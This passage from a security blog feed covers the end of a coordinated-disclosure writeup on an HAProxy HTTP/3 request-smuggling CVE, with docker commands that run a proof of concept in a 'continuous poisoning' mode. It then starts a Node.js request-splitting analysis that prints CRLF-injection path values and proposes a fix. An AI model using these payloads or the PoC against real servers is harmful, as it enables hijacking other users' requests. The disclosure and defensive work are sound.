<p><strong>References</strong>: <a href="https://github.com/haproxy/haproxy/commit/05a295441c621089ffa4318daf0dbca2dd756a84">fix commit</a> · <a href="https://www.mail-archive.com/haproxy@formilux.org/msg46752.html">mailing list advisory</a> · <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-33555">NVD entry</a></p>

<p><strong>Affected versions</strong>: per the commit message, the fix <em>“must be backported up to 2.6”</em> — every HAProxy release with QUIC support is vulnerable.
<strong>Fixed in</strong>: 3.3.6, 3.2.15, 3.0.19, 2.8.20, 2.6.25.</p>

<p><strong>Immediate mitigation</strong> if you can’t upgrade: switch to <code class="language-plaintext highlighter-rouge">http-reuse safe</code> (or <code class="language-plaintext highlighter-rouge">never</code>), or disable H3 listeners.</p>

<hr />

<h2 id="7-disclosure-timeline">7. Disclosure timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-03-11</td>
      <td>HAProxy H3/QUIC source audit begins.</td>
    </tr>
    <tr>
      <td>2026-03-15</td>
      <td>Identified the standalone FIN fast-path at <code class="language-plaintext highlighter-rouge">h3.c:1746</code>. Root cause analysis complete.</td>
    </tr>
    <tr>
      <td>2026-03-16</td>
      <td>Full PoC + video recording. Cross-protocol smuggling confirmed (attacker H3, victim Chrome H2).</td>
    </tr>
    <tr>
      <td>2026-03-17</td>
      <td>Report submitted to HAProxy security team via private mailing list.</td>
    </tr>
    <tr>
      <td>2026-03-19</td>
      <td>Patched versions released: 3.3.6, 3.2.15, 3.0.19, 2.8.20, 2.6.25.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td><a href="https://www.cve.org/CVERecord?id=CVE-2026-33555">CVE-2026-33555</a> published.</td>
    </tr>
    <tr>
      <td>2026-04-14</td>
      <td>This post.</td>
    </tr>
  </tbody>
</table>

<p>The HAProxy team were excellent to work with. Fast triage, clear communication, no friction about the public writeup timing.</p>

<hr />

<h2 id="8-takeaways">8. Takeaways</h2>

<ol>
  <li>
    <p><strong>Trust boundaries are where bugs live.</strong> <code class="language-plaintext highlighter-rouge">mux_h1</code> trusted <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code>. The H3 layer set that flag on a path that had never run the validator. The bug isn’t in any single layer — it’s in the gap between two layers that each assume the other did the checking.</p>
  </li>
  <li>
    <p><strong>Fast-paths are where invariants go to die.</strong> Every “if cheap-case then shortcut” in a parser is a candidate for a validation bypass. <code class="language-plaintext highlighter-rouge">h3_check_body_size</code> only runs inside the DATA-frame parsing loop. The standalone FIN fast-path skips that loop entirely.</p>
  </li>
  <li>
    <p><strong>QUIC gives attackers packet-level control.</strong> In HTTP/1 and HTTP/2, you’re fighting TCP and TLS to produce exact framing events. With aioquic, you hand the library a byte sequence and a FIN flag. Dropping from the H3 layer (<code class="language-plaintext highlighter-rouge">self._h3</code>) to the QUIC layer (<code class="language-plaintext highlighter-rouge">self._quic</code>) to send a raw FIN with zero payload is the core of the exploit.</p>
  </li>
  <li>
    <p><strong>The attack surface is “backend pool”, not “frontend protocol”.</strong> The victim doesn’t care which frontend the attacker used. If your proxy pools upstream TCP connections, every frontend protocol contributes to the same risk.</p>
  </li>
  <li>
    <p><strong>Understand the full stack before you grep for bugs.</strong> The time spent mapping how QUIC packets become STREAM frames, how STREAM frames become H3 frames, how H3 frames become HTX, and how HTX becomes H1 wire format is the only reason the missing <code class="language-plaintext highlighter-rouge">h3_check_body_size</code> call was recognizable for what it was.</p>
  </li>
</ol>

<hr />

<p><a name="appendix-artifacts"></a></p>
<h2 id="appendix-artifacts">Appendix: artifacts</h2>

<p>All primary artifacts are in the <a href="https://github.com/r3verii/CVE-2026-33555">companion repo</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CVE-2026-33555/
├── README.md               # 
├── docker-compose.yml      # single-command reproduction
├── haproxy/
│   ├── Dockerfile          # HAProxy 3.0.18 + quictls 3.1.7-quic1
│   └── haproxy.cfg         # frontend H3+H2, backend http-reuse always
├── nginx/
│   ├── default.conf        # autoindex on, /status -&gt; 200
│   └── html/photos/        # triggers the 301
└── client/
    ├── Dockerfile
    ├── requirements.txt    # aioquic &gt;= 1.2.0
    └── poc.py              # the ~500-line PoC (--once, --test, --loop)
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>lab2
docker compose up <span class="nt">-d</span> <span class="nt">--build</span>   <span class="c"># HAProxy build takes ~10 min first time</span>

<span class="c"># One-shot verification:</span>
docker <span class="nb">exec</span> <span class="nt">-it</span> poc-client python3 poc.py <span class="nt">--target</span> haproxy <span class="nt">--port</span> 10002 <span class="nt">--once</span>

<span class="c"># Continuous poisoning (run in one terminal, browse in another):</span>
docker <span class="nb">exec</span> <span class="nt">-it</span> poc-client python3 poc.py <span class="nt">--target</span> haproxy <span class="nt">--port</span> 10002 <span class="nt">--interval</span> 0.5
</code></pre></div></div>

<hr />

<h2 id="references">References</h2>

<p><strong>Specifications</strong></p>

<ul>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc9000">RFC 9000</a> — <em>QUIC: A UDP-Based Multiplexed and Secure Transport</em>. §19.8 defines the STREAM frame, including the OFF/LEN/FIN flag bits in the type byte; §4.5 defines the stream final-size invariant.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc9114">RFC 9114</a> — <em>HTTP/3</em>. §4.1.2 <em>“Malformed Requests and Responses”</em> is the <code class="language-plaintext highlighter-rouge">Content-Length</code> ↔ DATA-frame-sum contract that <code class="language-plaintext highlighter-rouge">h3_check_body_size</code> enforces on the legitimate path.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7540">RFC 7540</a> — <em>Hypertext Transfer Protocol Version 2 (HTTP/2)</em>. §4.1 frame layout, cited for contrast with H/3’s transport-level FIN.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc9113">RFC 9113</a> — <em>HTTP/2</em>, the current revision obsoleting RFC 7540.</li>
</ul>

<p><strong>QUIC design</strong></p>

<ul>
  <li>Jim Roskind, <a href="https://docs.google.com/document/d/1RNHkx_VvKWyWg6Lr8SZ-saqsQx7rFV-ev2jRFUoVD34/preview"><em>“QUIC: Design Document and Specification Rationale”</em></a> — the 2012 Google design memo, first public statement of QUIC’s goals.</li>
  <li>Langley, Riddoch, Wilk, Vicente, Krasic, Zhang, Yang, Kouranov, Swett, Iyengar et al., <a href="https://dl.acm.org/doi/10.1145/3098822.3098842"><em>“The QUIC Transport Protocol: Design and Internet-Scale Deployment”</em></a>, SIGCOMM 2017 — the deployment retrospective.</li>
</ul>

<p><strong>HTTP request smuggling — prior art</strong></p>

<ul>
  <li>James Kettle’s blog and research portfolio: <a href="https://jameskettle.com/">jameskettle.com</a> · <a href="https://x.com/albinowax">@albinowax</a>.</li>
  <li><a href="https://portswigger.net/research">PortSwigger Research</a> — the deepest public catalog of HTTP desync / smuggling work.</li>
</ul>

<p><strong>Fix and advisory</strong></p>

<ul>
  <li>Fix commit: Amaury Denoyelle, <a href="https://github.com/haproxy/haproxy/commit/05a295441c621089ffa4318daf0dbca2dd756a84"><code class="language-plaintext highlighter-rouge">05a29544</code> — <em>BUG/MAJOR: h3: check body size with content-length on empty FIN</em></a>, 2026-03-18.</li>
  <li>HAProxy mailing list advisory: <a href="https://www.mail-archive.com/haproxy@formilux.org/msg46752.html"><code class="language-plaintext highlighter-rouge">haproxy@formilux.org</code> msg 46752</a>.</li>
  <li>CVE record: <a href="https://www.cve.org/CVERecord?id=CVE-2026-33555">CVE-2026-33555</a> · <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-33555">NVD entry</a>.</li>
</ul>

<hr />

<h2 id="acknowledgments">Acknowledgments</h2>

<p>Thanks to the <strong>HAProxy security team</strong> — in particular Amaury Denoyelle, who authored the fix — for a smooth coordinated disclosure.</p>

<p>Thanks also to <strong>James Kettle</strong> and his collaborators at PortSwigger Research. The years of work on HTTP desync and request smuggling published on <a href="https://jameskettle.com/">his blog</a> and on <a href="https://portswigger.net/research">PortSwigger Research</a> has been a constant source of material and inspiration for this writeup — genuine respect for the body of work he has put out.</p>

<p>— r3verii (Martino Spagnuolo)</p>]]></content><author><name>Martino Spagnuolo</name></author><category term="cve" /><category term="haproxy" /><category term="http-smuggling" /><category term="http3" /><category term="quic" /><category term="desync" /><category term="cve" /><summary type="html"><![CDATA[One zero-byte QUIC packet is enough to desynchronize HAProxy's backend connection pool and smuggle HTTP requests across unrelated users — even users on a completely different frontend protocol.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/cover.jpg" /><media:content medium="image" url="https://r3verii.github.io/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Forgotten Bug: How a Node.js Core Design Flaw Enables HTTP Request Splitting</title><link href="https://r3verii.github.io/cve/2026/02/27/nodejs-toctou.html" rel="alternate" type="text/html" title="The Forgotten Bug: How a Node.js Core Design Flaw Enables HTTP Request Splitting" /><published>2026-02-27T00:14:54+00:00</published><updated>2026-02-27T00:14:54+00:00</updated><id>https://r3verii.github.io/cve/2026/02/27/nodejs-toctou</id><content type="html" xml:base="https://r3verii.github.io/cve/2026/02/27/nodejs-toctou.html"><![CDATA[<p><img src="/assets/2026-02-27-nodejs-toctou/cover.png" alt="Cover" /></p>

<hr />

<blockquote>
  <p><strong>RESPONSIBLE DISCLOSURE NOTICE</strong></p>

  <p>This vulnerability was reported to Node.js through their HackerOne program.
The Node.js security team has assessed it and determined it is <strong>not a vulnerability under their current threat model</strong>.
This paper is published to inform the ecosystem and help developers protect their applications.</p>
</blockquote>

<hr />

<h2 id="table-of-contents">Table of Contents</h2>

<ol>
  <li><a href="#1-prologue-a-bug-that-wont-die">Prologue: A Bug That Won’t Die</a></li>
  <li><a href="#2-the-2018-precedent-cve-2018-12116">The 2018 Precedent: CVE-2018-12116</a></li>
  <li><a href="#3-the-root-cause-anatomy-of-the-toctou">The Root Cause: Anatomy of the TOCTOU</a></li>
  <li><a href="#4-walking-through-the-source-code">Walking Through the Source Code</a></li>
  <li><a href="#5-possible-fix-for-the-root-cause">“Possible” fix for the root cause</a></li>
  <li><a href="#6-the-impact-spectrum-from-header-injection-to-request-splitting">The Impact Spectrum: From Header Injection to Request Splitting</a></li>
  <li><a href="#7-the-ecosystem-audit-7-vulnerable-libraries">The Ecosystem Audit: 7 Vulnerable Libraries</a></li>
  <li><a href="#8-library-by-library-deep-dive">Library-by-Library Deep Dive</a></li>
  <li><a href="#9-libraries-that-got-it-right">Libraries That Got It Right</a></li>
  <li><a href="#10-live-demo">Live Demo</a></li>
  <li><a href="#11-nodejs-response-not-a-vulnerability">Node.js Response: “Not a Vulnerability”</a></li>
  <li><a href="#12-call-to-arms">Call to Arms</a></li>
</ol>

<hr />

<h2 id="1-prologue-a-bug-that-wont-die">1. Prologue: A Bug That Won’t Die</h2>

<p>In 2018, a researcher discovered that Node.js’s <code class="language-plaintext highlighter-rouge">http.request()</code> would happily pass Unicode characters through to the wire, where latin1 encoding would truncate them into CRLF bytes — enabling HTTP Request Splitting. It was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-12116">CVE-2018-12116</a>, scored CVSS 7.5 HIGH, and promptly fixed.</p>

<p>The fix added a regex validation to reject paths containing characters outside <code class="language-plaintext highlighter-rouge">\u0021-\u00ff</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// lib/_http_client.js (the 2018 fix, still present today)</span>
<span class="kd">const</span> <span class="nx">INVALID_PATH_REGEX</span> <span class="o">=</span> <span class="sr">/</span><span class="se">[^\u</span><span class="sr">0021-</span><span class="se">\u</span><span class="sr">00ff</span><span class="se">]</span><span class="sr">/</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">path</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">path</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">INVALID_PATH_REGEX</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">path</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_UNESCAPED_CHARACTERS</span><span class="p">(</span><span class="dl">'</span><span class="s1">Request path</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Case closed. Right?</p>

<p><strong>Not quite.</strong> The 2018 fix has a fundamental design flaw: <strong>it only runs at construction time.</strong> The property it validates — <code class="language-plaintext highlighter-rouge">this.path</code> — remains a plain writable JavaScript property with no setter, no proxy, no <code class="language-plaintext highlighter-rouge">Object.defineProperty</code> guard. Any code that mutates <code class="language-plaintext highlighter-rouge">ClientRequest.path</code> after construction completely bypasses this validation.</p>

<p>And as I discovered, <strong>an enormous amount of code does exactly that.</strong></p>

<hr />

<h2 id="2-the-2018-precedent-cve-2018-12116">2. The 2018 Precedent: CVE-2018-12116</h2>

<p>To understand the current bug, we need to understand its predecessor.</p>

<h3 id="cve-2018-12116--http-request-splitting-via-unicode">CVE-2018-12116 — HTTP Request Splitting via Unicode</h3>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>CVE</strong></td>
      <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-12116">CVE-2018-12116</a></td>
    </tr>
    <tr>
      <td><strong>CVSS</strong></td>
      <td>7.5 HIGH</td>
    </tr>
    <tr>
      <td><strong>Affected</strong></td>
      <td>Node.js &lt; 6.15.0, &lt; 8.14.0, &lt; 10.14.0, &lt; 11.3.0</td>
    </tr>
    <tr>
      <td><strong>Reporter</strong></td>
      <td><a href="https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/">Arkadiy Tetelman</a> (Lob)</td>
    </tr>
    <tr>
      <td><strong>CWE</strong></td>
      <td>CWE-115 (Misinterpretation of Input)</td>
    </tr>
  </tbody>
</table>

<p><strong>The Mechanism:</strong> Node.js versions 8 and below used <code class="language-plaintext highlighter-rouge">latin1</code> encoding when constructing HTTP requests without a body. Latin1 is a single-byte encoding — it can’t represent high Unicode characters, so it <em>truncates them to their lowest byte</em>.</p>

<p>An attacker could craft Unicode characters that, when truncated to latin1, produced HTTP control bytes:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">\u{010D}</code> → <code class="language-plaintext highlighter-rouge">\x0D</code> (Carriage Return, <code class="language-plaintext highlighter-rouge">\r</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">\u{010A}</code> → <code class="language-plaintext highlighter-rouge">\x0A</code> (Line Feed, <code class="language-plaintext highlighter-rouge">\n</code>)</li>
</ul>

<p>This meant a path like <code class="language-plaintext highlighter-rouge">"/safe\u{010D}\u{010A}\u{010D}\u{010A}GET /admin"</code> would pass any ASCII validation, but on the wire would become <code class="language-plaintext highlighter-rouge">"/safe\r\n\r\nGET /admin"</code> — a fully split second HTTP request.</p>

<p><strong>The Fix:</strong> Reject any path containing characters outside the range <code class="language-plaintext highlighter-rouge">\u0021-\u00ff</code> at construction time.</p>

<p>The fix was effective for its specific attack vector. But it introduced an assumption that would prove dangerous: <strong>that validation at construction time is sufficient.</strong></p>

<hr />

<h2 id="3-the-root-cause-anatomy-of-the-toctou">3. The Root Cause: Anatomy of the TOCTOU</h2>

<p>The vulnerability I found is a classic <a href="https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use">TOCTOU (Time-of-Check-Time-of-Use)</a> bug.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>              TIME ─────────────────────────────────────────────────────►
    ┌──────────────────┐         ┌─────────────────────┐        ┌──────────────────┐
    │  http.request()  │         │   TOCTOU WINDOW     │        │ _implicitHeader()│
    │                  │         │                     │        │                  │
    │  options.path    │         │  ClientRequest      │        │  this.path used  │
    │  is VALIDATED    │         │  is EXPOSED to      │        │  directly in     │
    │  against         │────────►│  user code via      │───────►│  HTTP request    │
    │  INVALID_PATH_   │         │  events/callbacks   │        │  line — NO       │
    │  REGEX           │         │                     │        │  re-validation   │
    │                  │         │  .path is a PLAIN   │        │                  │
    │  ✅✅ CHECK     │         │  WRITABLE property  │        │  ❌❌ USE       │
    └──────────────────┘         └─────────────────────┘        └──────────────────┘
                                          🡩
                                          |
                                  ┌─────────────────────┐
                                  │  ATTACKER MUTATES   │
                                  │  clientReq.path =   │
                                  │  "/x\r\n\r\nGET /"  │
                                  │                     │
                                  │  Validation is      │
                                  │  NEVER re-run       │
                                  └─────────────────────┘
</code></pre></div></div>

<p>In simple terms:</p>

<ol>
  <li>
    <p><strong>CHECK</strong>: When you call <code class="language-plaintext highlighter-rouge">http.request(options)</code>, Node.js validates <code class="language-plaintext highlighter-rouge">options.path</code> against <code class="language-plaintext highlighter-rouge">INVALID_PATH_REGEX</code>. If it contains CRLF characters (<code class="language-plaintext highlighter-rouge">\r</code>, <code class="language-plaintext highlighter-rouge">\n</code>) or characters outside <code class="language-plaintext highlighter-rouge">\u0021-\u00ff</code>, it throws an error. Good.</p>
  </li>
  <li>
    <p><strong>WINDOW</strong>: The resulting <code class="language-plaintext highlighter-rouge">ClientRequest</code> object has a <code class="language-plaintext highlighter-rouge">.path</code> property that is a <strong>plain writable JavaScript property</strong> — <code class="language-plaintext highlighter-rouge">this.path = options.path || '/'</code>. No setter. No <code class="language-plaintext highlighter-rouge">Object.defineProperty</code>. No <code class="language-plaintext highlighter-rouge">Proxy</code>. Any code with a reference to the object can write to it freely.</p>
  </li>
  <li>
    <p><strong>USE</strong>: When the request is actually sent (triggered by <code class="language-plaintext highlighter-rouge">.write()</code>, <code class="language-plaintext highlighter-rouge">.end()</code>, or <code class="language-plaintext highlighter-rouge">.pipe()</code>), the method <code class="language-plaintext highlighter-rouge">_implicitHeader()</code> reads <code class="language-plaintext highlighter-rouge">this.path</code> directly and concatenates it into the HTTP request line: <code class="language-plaintext highlighter-rouge">this.method + ' ' + this.path + ' HTTP/1.1\r\n'</code>. <strong>No re-validation.</strong></p>
  </li>
</ol>

<p>The gap between step 1 and step 3 is the TOCTOU window. Any mutation of <code class="language-plaintext highlighter-rouge">.path</code> during this window bypasses all CRLF validation.</p>

<hr />

<h2 id="4-walking-through-the-source-code">4. Walking Through the Source Code</h2>

<p>Let’s trace exactly what happens in the Node.js source code. All references are to the current Node.js <code class="language-plaintext highlighter-rouge">main</code> branch at time of writing.</p>

<h3 id="41--the-validation-construction-time">4.1 — The Validation (Construction Time)</h3>

<p>File: <strong><code class="language-plaintext highlighter-rouge">lib/_http_client.js</code></strong> — <a href="https://github.com/nodejs/node/blob/main/lib/_http_client.js#L117">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Line 117: The regex that guards against CRLF</span>
<span class="kd">const</span> <span class="nx">INVALID_PATH_REGEX</span> <span class="o">=</span> <span class="sr">/</span><span class="se">[^\u</span><span class="sr">0021-</span><span class="se">\u</span><span class="sr">00ff</span><span class="se">]</span><span class="sr">/</span><span class="p">;</span>
</code></pre></div></div>

<p>This regex matches any character <em>outside</em> the printable latin1 range. Notably, <code class="language-plaintext highlighter-rouge">\r</code> (<code class="language-plaintext highlighter-rouge">\u000D</code>) and <code class="language-plaintext highlighter-rouge">\n</code> (<code class="language-plaintext highlighter-rouge">\u000A</code>) are <strong>below</strong> <code class="language-plaintext highlighter-rouge">\u0021</code>, so they are caught by this regex. This is the CVE-2018-12116 fix.</p>

<p><a href="https://github.com/nodejs/node/blob/main/lib/_http_client.js#L235-L241">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Lines 235-241: Validation runs ONCE, at construction</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">path</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">path</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">INVALID_PATH_REGEX</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">path</span><span class="p">))</span> <span class="p">{</span>
        <span class="nx">debug</span><span class="p">(</span><span class="dl">'</span><span class="s1">Path contains unescaped characters: "%s"</span><span class="dl">'</span><span class="p">,</span> <span class="nx">path</span><span class="p">);</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_UNESCAPED_CHARACTERS</span><span class="p">(</span><span class="dl">'</span><span class="s1">Request path</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So far, so good. CRLF in the constructor path = error thrown.</p>

<h3 id="42--the-assignment-no-protection">4.2 — The Assignment (No Protection)</h3>

<p><a href="https://github.com/nodejs/node/blob/main/lib/_http_client.js#L306">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Line 306: Plain property assignment — no setter, no guard</span>
<span class="k">this</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="nx">options</span><span class="p">.</span><span class="nx">path</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>This is just a regular JavaScript property. There is no:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Object.defineProperty()</code> with a setter that validates</li>
  <li><code class="language-plaintext highlighter-rouge">Proxy</code> trap</li>
  <li>Private field (<code class="language-plaintext highlighter-rouge">#path</code>)</li>
  <li>Frozen/sealed property</li>
</ul>

<p>Any code that has a reference to the <code class="language-plaintext highlighter-rouge">ClientRequest</code> object can do <code class="language-plaintext highlighter-rouge">req.path = anything</code> and it will succeed silently.</p>

<h3 id="43--the-use-no-re-validation">4.3 — The Use (No Re-validation)</h3>

<p><a href="https://github.com/nodejs/node/blob/main/lib/_http_client.js#L475-L481">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Lines 475-481: _implicitHeader() — called by .write(), .end(), .pipe()</span>
<span class="nx">ClientRequest</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_implicitHeader</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_implicitHeader</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_header</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_HTTP_HEADERS_SENT</span><span class="p">(</span><span class="dl">'</span><span class="s1">render</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">_storeHeader</span><span class="p">(</span>
        <span class="k">this</span><span class="p">.</span><span class="nx">method</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> </span><span class="dl">'</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">path</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> HTTP/1.1</span><span class="se">\r\n</span><span class="dl">'</span><span class="p">,</span>
        <span class="c1">//                   ^^^^^^^^^</span>
        <span class="c1">//                   READ DIRECTLY — NO RE-VALIDATION</span>
        <span class="k">this</span><span class="p">[</span><span class="nx">kOutHeaders</span><span class="p">]</span>
    <span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>

<p>This is where the damage happens. <code class="language-plaintext highlighter-rouge">this.path</code> is read raw and concatenated directly into the HTTP request line. If <code class="language-plaintext highlighter-rouge">.path</code> now contains <code class="language-plaintext highlighter-rouge">\r\n</code>, those bytes go directly onto the TCP socket.</p>

<h3 id="44--the-wire-format">4.4 — The Wire Format</h3>

<p><code class="language-plaintext highlighter-rouge">_storeHeader()</code> (in <code class="language-plaintext highlighter-rouge">lib/_http_outgoing.js</code>) takes that first line and builds the complete HTTP message — <a href="https://github.com/nodejs/node/blob/main/lib/_http_outgoing.js#L397">source</a>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// lib/_http_outgoing.js, line 397</span>
<span class="kd">function</span> <span class="nx">_storeHeader</span><span class="p">(</span><span class="nx">firstLine</span><span class="p">,</span> <span class="nx">headers</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// firstLine = 'GET /index.html HTTP/1.1\r\n'   ← normal</span>
    <span class="c1">// firstLine = 'GET /x\r\n\r\nGET /admin HTTP/1.1\r\n'  ← SPLIT!</span>
    <span class="kd">const</span> <span class="nx">state</span> <span class="o">=</span> <span class="p">{</span>
        <span class="c1">// ...</span>
        <span class="na">header</span><span class="p">:</span> <span class="nx">firstLine</span><span class="p">,</span>   <span class="c1">// ← stored directly, no sanitization</span>
    <span class="p">};</span>
    <span class="c1">// ... processes headers, appends them to state.header ...</span>
    <span class="c1">// ... writes state.header to the socket ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The content flows directly to the TCP socket. If the path contained CRLF sequences, they are written as-is — enabling anything from header injection to full request splitting, depending on the payload.</p>

<hr />

<h2 id="5-possible-fix-for-the-root-cause">5. “Possible” fix for the root cause</h2>

<p>This issue is not inherently “in” proxy libraries. Proxy libraries expose legitimate hooks (e.g. <code class="language-plaintext highlighter-rouge">proxyReq</code>, <code class="language-plaintext highlighter-rouge">proxyReq.path</code>) to customize the outbound request. The core problem is a <strong>time-of-check/time-of-use (TOCTOU)</strong> gap in Node.js’ HTTP client: the request path is validated when the <code class="language-plaintext highlighter-rouge">ClientRequest</code> is created, but the request-line is rendered later using the <strong>current</strong> value of <code class="language-plaintext highlighter-rouge">this.path</code>. If <code class="language-plaintext highlighter-rouge">path</code> is mutated after construction—especially via low-level hooks—an attacker-controlled value can reach the request-line.</p>

<h3 id="what-the-fix-must-guarantee">What the fix must guarantee</h3>

<p>Whatever is used in the request-line must always be:</p>

<ol>
  <li><strong>Canonicalized</strong> as a string (<code class="language-plaintext highlighter-rouge">String(...)</code>),</li>
  <li><strong>Validated</strong> using the same rules (<code class="language-plaintext highlighter-rouge">INVALID_PATH_REGEX</code> / <code class="language-plaintext highlighter-rouge">ERR_UNESCAPED_CHARACTERS</code>),</li>
  <li>Checked <strong>at the point of serialization</strong>, and ideally also <strong>at the point of mutation</strong>.</li>
</ol>

<p>A subtle but important requirement: avoid evaluating <code class="language-plaintext highlighter-rouge">this.path</code> multiple times. If <code class="language-plaintext highlighter-rouge">this.path</code> is not a plain string (e.g. an object with a custom <code class="language-plaintext highlighter-rouge">toString()</code>), reading it twice can reintroduce a TOCTOU <em>inside</em> the fix.</p>

<p>Below are two options. They are compatible and can be combined for defense-in-depth.</p>

<hr />

<h3 id="option-b-minimal--upstream-friendly-re-validate-in-_implicitheader">Option B (minimal / upstream-friendly): re-validate in <code class="language-plaintext highlighter-rouge">_implicitHeader()</code></h3>

<p>This is the lowest-impact change: validate <strong>right before</strong> building the request-line. The key is to stringify once and reuse the same value for both validation and header construction.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">ClientRequest</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_implicitHeader</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">_implicitHeader</span><span class="p">()</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_header</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_HTTP_HEADERS_SENT</span><span class="p">(</span><span class="dl">'</span><span class="s1">render</span><span class="dl">'</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="c1">// Canonicalize once (prevents TOCTOU via toString side effects)</span>
  <span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">path</span><span class="p">);</span>

  <span class="c1">// Re-validate: if `path` was mutated after construction, fail here</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">INVALID_PATH_REGEX</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">path</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_UNESCAPED_CHARACTERS</span><span class="p">(</span><span class="dl">'</span><span class="s1">Request path</span><span class="dl">'</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="c1">// (Optional hardening) apply the same principle to `method`</span>
  <span class="kd">const</span> <span class="nx">method</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">method</span><span class="p">);</span>

  <span class="k">this</span><span class="p">.</span><span class="nx">_storeHeader</span><span class="p">(</span><span class="nx">method</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">path</span> <span class="o">+</span> <span class="dl">'</span><span class="s1"> HTTP/1.1</span><span class="se">\r\n</span><span class="dl">'</span><span class="p">,</span> <span class="k">this</span><span class="p">[</span><span class="nx">kOutHeaders</span><span class="p">]);</span>
<span class="p">};</span>
</code></pre></div></div>

<p><strong>Pros</strong></p>
<ul>
  <li>Minimal behavioral change: no public API changes, only adds a guard.</li>
